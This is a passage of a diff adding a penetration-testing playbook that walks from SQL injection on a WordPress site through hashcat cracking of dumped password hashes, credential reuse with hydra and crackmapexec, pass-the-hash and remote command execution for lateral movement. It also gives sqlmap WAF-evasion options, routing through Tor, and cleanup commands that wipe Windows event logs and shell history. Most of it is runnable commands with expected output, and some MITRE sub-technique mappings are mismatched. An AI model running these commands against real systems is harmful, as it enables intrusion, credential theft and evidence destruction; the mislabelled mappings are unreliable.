-T wp_users \
|
|
308
|
+
-C "user_login,user_pass" \
|
|
309
|
+
--dump \
|
|
310
|
+
--start=1 --stop=50
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
---
|
|
314
|
+
|
|
315
|
+
### Step 6 — Hash Identification
|
|
316
|
+
|
|
317
|
+
```bash
|
|
318
|
+
# Use hashid or hashcat's example hashes to identify hash type
|
|
319
|
+
hashid '$P$BhBYcs4M9Rp5VVb9rMHJAkDq7dJo0m1'
|
|
320
|
+
# Expected: [+] Wordpress >= v2.6.2
|
|
321
|
+
|
|
322
|
+
# Common hash types:
|
|
323
|
+
# MD5 raw: $1$ or 32-char hex — hashcat mode 0
|
|
324
|
+
# WordPress: $P$ — hashcat mode 400
|
|
325
|
+
# bcrypt: $2y$ or $2a$ — hashcat mode 3200
|
|
326
|
+
# SHA-1: 40-char hex — hashcat mode 100
|
|
327
|
+
|
|
328
|
+
# Extract hashes to a file
|
|
329
|
+
awk -F',' '{print $2}' wp_users.csv | tail -n +2 > hashes.txt
|
|
330
|
+
```
|
|
331
|
+
|
|
332
|
+
---
|
|
333
|
+
|
|
334
|
+
### Step 7 — Offline Password Cracking with Hashcat
|
|
335
|
+
|
|
336
|
+
```bash
|
|
337
|
+
# WordPress phpass hashes (mode 400)
|
|
338
|
+
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
|
|
339
|
+
|
|
340
|
+
# With rules for better coverage
|
|
341
|
+
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt \
|
|
342
|
+
-r /usr/share/hashcat/rules/best64.rule
|
|
343
|
+
|
|
344
|
+
# MD5 hashes (mode 0)
|
|
345
|
+
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
|
|
346
|
+
|
|
347
|
+
# bcrypt (mode 3200) — slow, GPU highly recommended
|
|
348
|
+
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt \
|
|
349
|
+
--force
|
|
350
|
+
|
|
351
|
+
# Check cracked passwords
|
|
352
|
+
hashcat -m 400 hashes.txt --show
|
|
353
|
+
|
|
354
|
+
# Output format: hash:password
|
|
355
|
+
# $P$BhBYcs4M9Rp5VVb9rMHJAkDq7dJo0m1:Password123
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
**Expected Output:**
|
|
359
|
+
```
|
|
360
|
+
$P$BhBYcs4M9Rp5VVb9rMHJAkDq7dJo0m1:Password123
|
|
361
|
+
$P$BZaK0UrwT4TQhspvhmY87V.l5HZUI/0:welcome2023
|
|
362
|
+
```
|
|
363
|
+
|
|
364
|
+
**Fallback:** If rockyou fails, try:
|
|
365
|
+
- CrackStation or online hash lookup for MD5/SHA-1 (for authorized engagements)
|
|
366
|
+
- Targeted wordlists based on OSINT (company name, domain, found usernames)
|
|
367
|
+
- Combination attack: `hashcat -m 400 hashes.txt -a 1 wordlist1.txt wordlist2.txt`
|
|
368
|
+
|
|
369
|
+
---
|
|
370
|
+
|
|
371
|
+
### Step 8 — Credential Reuse Testing
|
|
372
|
+
|
|
373
|
+
Collect all cracked username:password pairs and test against other services.
|
|
374
|
+
|
|
375
|
+
```bash
|
|
376
|
+
# Build credential list
|
|
377
|
+
cat > creds.txt << 'EOF'
|
|
378
|
+
admin:Password123
|
|
379
|
+
editor:welcome2023
|
|
380
|
+
EOF
|
|
381
|
+
|
|
382
|
+
# Test SSH
|
|
383
|
+
hydra -C creds.txt ssh://target.com
|
|
384
|
+
hydra -C creds.txt ssh://192.168.1.0/24
|
|
385
|
+
|
|
386
|
+
# Test RDP
|
|
387
|
+
hydra -C creds.txt rdp://target.com
|
|
388
|
+
|
|
389
|
+
# Test SMB with crackmapexec / netexec
|
|
390
|
+
crackmapexec smb 192.168.1.0/24 -u admin -p Password123
|
|
391
|
+
netexec smb 192.168.1.0/24 -u creds.txt -p creds.txt --no-bruteforce
|
|
392
|
+
|
|
393
|
+
# Test FTP
|
|
394
|
+
hydra -C creds.txt ftp://target.com
|
|
395
|
+
|
|
396
|
+
# Test other web admin panels
|
|
397
|
+
hydra -C creds.txt -s 8080 target.com http-post-form \
|
|
398
|
+
"/admin/login:username=^USER^&password=^PASS^:Invalid credentials"
|
|
399
|
+
|
|
400
|
+
# WordPress admin panel reuse
|
|
401
|
+
curl -s -X POST "https://target.com/wp-login.php" \
|
|
402
|
+
-d "log=admin&pwd=Password123&wp-submit=Log+In" \
|
|
403
|
+
-c cookies.txt -b cookies.txt -L | grep -i "dashboard\|logout"
|
|
404
|
+
```
|
|
405
|
+
|
|
406
|
+
**Expected Output:**
|
|
407
|
+
```
|
|
408
|
+
SSH: [22][ssh] host: 192.168.1.10 login: admin password: Password123
|
|
409
|
+
SMB: 192.168.1.15 445 WINSERVER [+] DOMAIN\admin:Password123 (Pwn3d!)
|
|
410
|
+
```
|
|
411
|
+
|
|
412
|
+
**Fallback:** If direct reuse fails, try variations:
|
|
413
|
+
```bash
|
|
414
|
+
# Common password mutations
|
|
415
|
+
# Password123 → password123, Password123!, Password1234
|
|
416
|
+
# Use hashcat rules to generate mutations first:
|
|
417
|
+
hashcat --stdout creds_passwords.txt -r /usr/share/hashcat/rules/best64.rule > mutated_passwords.txt
|
|
418
|
+
```
|
|
419
|
+
|
|
420
|
+
---
|
|
421
|
+
|
|
422
|
+
### Step 9 — Lateral Movement
|
|
423
|
+
|
|
424
|
+
Once valid credentials are confirmed on internal systems:
|
|
425
|
+
|
|
426
|
+
```bash
|
|
427
|
+
# SSH lateral movement
|
|
428
|
+
ssh admin@192.168.1.10
|
|
429
|
+
|
|
430
|
+
# SMB — list shares and access files
|
|
431
|
+
crackmapexec smb 192.168.1.15 -u admin -p Password123 --shares
|
|
432
|
+
smbclient //192.168.1.15/C$ -U admin%Password123
|
|
433
|
+
|
|
434
|
+
# RDP session
|
|
435
|
+
xfreerdp /u:admin /p:Password123 /v:192.168.1.20
|
|
436
|
+
|
|
437
|
+
# Pass-the-hash if NTLM hash obtained (no cleartext needed)
|
|
438
|
+
crackmapexec smb 192.168.1.0/24 \
|
|
439
|
+
-u admin \
|
|
440
|
+
-H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
|
|
441
|
+
|
|
442
|
+
# Execute commands remotely via SMB
|
|
443
|
+
crackmapexec smb 192.168.1.15 -u admin -p Password123 -x "whoami /all"
|
|
444
|
+
|
|
445
|
+
# WinRM if enabled (port 5985)
|
|
446
|
+
crackmapexec winrm 192.168.1.15 -u admin -p Password123 -x "ipconfig"
|
|
447
|
+
|
|
448
|
+
# Enumerate further from compromised host
|
|
449
|
+
crackmapexec smb 192.168.1.0/24 -u admin -p Password123 --loggedon-users
|
|
450
|
+
```
|
|
451
|
+
|
|
452
|
+
**Expected Output:**
|
|
453
|
+
```
|
|
454
|
+
SMB 192.168.1.15 445 WINSERVER [+] DOMAIN\admin:Password123 (Pwn3d!)
|
|
455
|
+
SMB 192.168.1.15 445 WINSERVER [+] Executed command
|
|
456
|
+
SMB 192.168.1.15 445 WINSERVER nt authority\system
|
|
457
|
+
```
|
|
458
|
+
|
|
459
|
+
---
|
|
460
|
+
|
|
461
|
+
## Real-World Reference
|
|
462
|
+
|
|
463
|
+
**Scenario: WordPress Site Compromise → Internal Network Access**
|
|
464
|
+
|
|
465
|
+
1. Target is a company running WordPress at `https://company.com/wp-login.php`
|
|
466
|
+
2. The `log` parameter in the login form is injectable via boolean-based blind SQLi
|
|
467
|
+
3. sqlmap extracts the `wp_users` table containing `admin:$P$BhBYcs4M9Rp5VVb9rMHJAkDq7dJo0m1`
|
|
468
|
+
4. hashcat cracks the phpass hash to `Summer2023!` in 4 hours using rockyou + best64 rules
|
|
469
|
+
5. The admin reused `Summer2023!` on the company VPN, SSH server, and internal GitLab
|
|
470
|
+
6. Attacker authenticates to GitLab, finds hardcoded database credentials in source code
|
|
471
|
+
7. Full internal network access achieved from a single SQLi vulnerability
|
|
472
|
+
|
|
473
|
+
**Real CVE References:**
|
|
474
|
+
- CVE-2022-21661 — WordPress core SQLi via WP_Query
|
|
475
|
+
- CVE-2023-28121 — WooCommerce authentication bypass
|
|
476
|
+
- CVE-2020-11738 — WordPress plugin SQLi (Snap Creek Duplicator)
|
|
477
|
+
|
|
478
|
+
---
|
|
479
|
+
|
|
480
|
+
## MITRE ATT&CK Mapping
|
|
481
|
+
|
|
482
|
+
| Step | Tactic | Technique | Sub-technique | Description |
|
|
483
|
+
|------|--------|-----------|---------------|-------------|
|
|
484
|
+
| 1 — Parameter Discovery | Reconnaissance | T1595 | T1595.002 — Active Scanning | Fuzzing web parameters to identify attack surface |
|
|
485
|
+
| 2 — Manual SQLi Probe | Initial Access | T1190 | — | Exploit Public-Facing Application | Testing injectable parameters manually |
|
|
486
|
+
| 3 — sqlmap Exploitation | Initial Access | T1190 | — | Exploit Public-Facing Application | Automated SQLi to gain DB access |
|
|
487
|
+
| 4 — DB Enumeration | Collection | T1213 | T1213.002 — Sharepoint | Enumerating database structure |
|
|
488
|
+
| 5 — User Table Dump | Credential Access | T1555 | T1555.003 — Credentials from Web Browsers | Dumping credential tables from DB |
|
|
489
|
+
| 6 — Hash Identification | Credential Access | T1552 | T1552.001 — Credentials in Files | Identifying hash format for cracking |
|
|
490
|
+
| 7 — Password Cracking | Credential Access | T1110 | T1110.002 — Password Cracking | Offline hashcat attack against dumped hashes |
|
|
491
|
+
| 8 — Credential Reuse | Initial Access / Lateral Movement | T1078 | T1078.003 — Local Accounts | Using cracked credentials on other services |
|
|
492
|
+
| 9 — Lateral Movement | Lateral Movement | T1021 | T1021.002 — SMB/Windows Admin Shares | Pivoting to internal systems with valid credentials |
|
|
493
|
+
|
|
494
|
+
---
|
|
495
|
+
|
|
496
|
+
## Detection & OPSEC
|
|
497
|
+
|
|
498
|
+
### How This Attack Is Detected
|
|
499
|
+
|
|
500
|
+
- **SQLmap traffic:** High request volume with anomalous SQL syntax in parameters — detected by WAFs (ModSecurity, AWS WAF, Cloudflare), IDS/IPS (Snort, Suricata), and SIEM correlation rules
|
|
501
|
+
- **Error-based SQLi:** Application logs capture SQL error messages triggered by injection attempts
|
|
502
|
+
- **Database query logging:** MySQL `general_log` or `slow_query_log` captures malicious queries
|
|
503
|
+
- **Bulk dump operations:** Large number of queries against `information_schema` — unusual DB load patterns
|
|
504
|
+
- **Credential spray/stuffing:** Multiple failed authentication attempts across SSH, SMB, RDP — detected by fail2ban, Windows Event ID 4625, and SIEM rules
|
|
505
|
+
- **Lateral movement:** Abnormal login times, new source IPs, pass-the-hash (Event ID 4624 Logon Type 3), psexec artifacts
|
|
506
|
+
|
|
507
|
+
### How to Reduce Detection Risk (Authorized Engagements)
|
|
508
|
+
|
|
509
|
+
```bash
|
|
510
|
+
# Slow down sqlmap to avoid rate limiting and WAF triggers
|
|
511
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
512
|
+
--delay=3 \
|
|
513
|
+
--randomize-headers \
|
|
514
|
+
--random-agent \
|
|
515
|
+
--batch
|
|
516
|
+
|
|
517
|
+
# Use tamper scripts to obfuscate SQL syntax
|
|
518
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
519
|
+
--tamper=space2comment,charencode,randomcase \
|
|
520
|
+
--batch
|
|
521
|
+
|
|
522
|
+
# Route through Tor or proxy chain for IP obfuscation
|
|
523
|
+
sqlmap -u "https://target.com/page?id=1" \
|
|
524
|
+
--tor \
|
|
525
|
+
--tor-type=SOCKS5 \
|
|
526
|
+
--check-tor \
|
|
527
|
+
--batch
|
|
528
|
+
|
|
529
|
+
# Limit dump to only necessary columns — avoid full table scans
|
|
530
|
+
sqlmap ... -C "user_login,user_pass" --dump
|
|
531
|
+
|
|
532
|
+
# Use low-and-slow credential reuse — avoid lockout
|
|
533
|
+
crackmapexec smb 192.168.1.0/24 -u admin -p Password123 \
|
|
534
|
+
--continue-on-success \
|
|
535
|
+
--jitter 5
|
|
536
|
+
```
|
|
537
|
+
|
|
538
|
+
### Artifacts Left Behind
|
|
539
|
+
|
|
540
|
+
| Artifact | Location | Notes |
|
|
541
|
+
|----------|----------|-------|
|
|
542
|
+
| Web server access logs | `/var/log/apache2/access.log`, `/var/log/nginx/access.log` | Contains all sqlmap requests |
|
|
543
|
+
| Database general log | MySQL: `/var/lib/mysql/<hostname>.log` | Captures all SQL queries |
|
|
544
|
+
| Application error logs | Varies by framework | SQL error messages |
|
|
545
|
+
| Auth logs | `/var/log/auth.log`, `/var/log/secure` | SSH login attempts |
|
|
546
|
+
| Windows Event Logs | `Security.evtx` (Event 4624, 4625, 4648) | SMB/RDP authentication events |
|
|
547
|
+
| SMB connection logs | Windows `System.evtx` | Lateral movement over SMB |
|
|
548
|
+
| sqlmap output directory | `~/.local/share/sqlmap/output/` | Local dump files on attacker machine |
|
|
549
|
+
| hashcat potfile | `~/.local/share/hashcat/hashcat.potfile` | Cracked passwords stored locally |
|
|
550
|
+
|
|
551
|
+
---
|
|
552
|
+
|
|
553
|
+
## Cleanup
|
|
554
|
+
|
|
555
|
+
Steps to remove artifacts after an authorized engagement:
|
|
556
|
+
|
|
557
|
+
```bash
|
|
558
|
+
# 1. Remove sqlmap output directory
|
|
559
|
+
rm -rf ~/.local/share/sqlmap/output/
|
|
560
|
+
|
|
561
|
+
# 2. Clear hashcat potfile
|
|
562
|
+
rm ~/.local/share/hashcat/hashcat.potfile
|
|
563
|
+
# or
|
|
564
|
+
> ~/.local/share/hashcat/hashcat.potfile
|
|
565
|
+
|
|
566
|
+
# 3. Remove downloaded files, credential lists, and hash files
|
|
567
|
+
rm -f hashes.txt creds.txt wp_users.csv mutated_passwords.txt params_get.json
|
|
568
|
+
|
|
569
|
+
# 4. Clear shell history
|
|
570
|
+
history -c && history -w
|
|
571
|
+
# or for zsh:
|
|
572
|
+
rm ~/.zsh_history && history -p
|
|
573
|
+
|
|
574
|
+
# 5. On compromised Linux targets (if shell access obtained):
|
|
575
|
+
# Clear auth logs (coordinate with client — do NOT do this on production without approval)
|
|
576
|
+
# > /var/log/auth.log
|
|
577
|
+
|
|
578
|
+
# 6. On Windows targets:
|
|
579
|
+
# Remove created user accounts if any were added
|
|
580
|
+
# Clear specific Event Log entries (coordinate with client)
|
|
581
|
+
wevtutil cl Security
|
|
582
|
+
wevtutil cl System
|
|
583
|
+
|
|
584
|
+
# 7. Remove any uploaded webshells or payloads from the target web server
|
|
585
|
+
# (document exact paths during engagement for cleanup reference)
|
|
586
|
+
|
|
587
|
+
# 8. Remove SSH known_hosts entries for target IPs
|
|
588
|
+
ssh-keygen -R target.com
|
|
589
|
+
ssh-keygen -R 192.168.1.10
|
|
590
|
+
```
|
|
591
|
+
|
|
592
|
+
---
|
|
593
|
+
|
|
594
|
+
## References
|
|
595
|
+
|
|
596
|
+
| Resource | URL |
|
|
597
|
+
|----------|-----|
|
|
598
|
+
| sqlmap documentation | https://sqlmap.org |
|
|
599
|
+
| sqlmap tamper scripts | https://github.com/sqlmapproject/sqlmap/tree/master/tamper |
|
|
600
|
+
| hashcat wiki | https://hashcat.net/wiki/ |
|
|
601
|
+
| hashcat example hashes | https://hashcat.net/wiki/doku.php?id=example_hashes |
|
|
602
|
+
| SecLists wordlists | https://github.com/danielmiessler/SecLists |
|
|
603
|
+
| CrackMapExec wiki | https://wiki.porchetta.industries/ |
|
|
604
|
+
| netexec (CME fork) | https://github.com/Pennyw0rth/NetExec |
|
|
605
|
+
| MITRE T1190 | https://attack.mitre.org/techniques/T1190/ |
|
|
606
|
+
| MITRE T1555 | https://attack.mitre.org/techniques/T1555/ |
|
|
607
|
+
| MITRE T1078 | https://attack.mitre.org/techniques/T1078/ |
|
|
608
|
+
| MITRE T1021 | https://attack.mitre.org/techniques/T1021/ |
|
|
609
|
+
| MITRE T1110 | https://attack.mitre.org/techniques/T1110/ |
|
|
610
|
+
| WordPress SQLi CVE-2022-21661 | https://nvd.nist.gov/vuln/detail/CVE-2022-21661 |
|
|
611
|
+
| PortSwigger SQLi | https://portswigger.net/web-security/sql-injection |
|
|
612
|
+
| OWASP SQLi Testing Guide | https://owasp.org/www-project-web-security-testing-guide/ |
|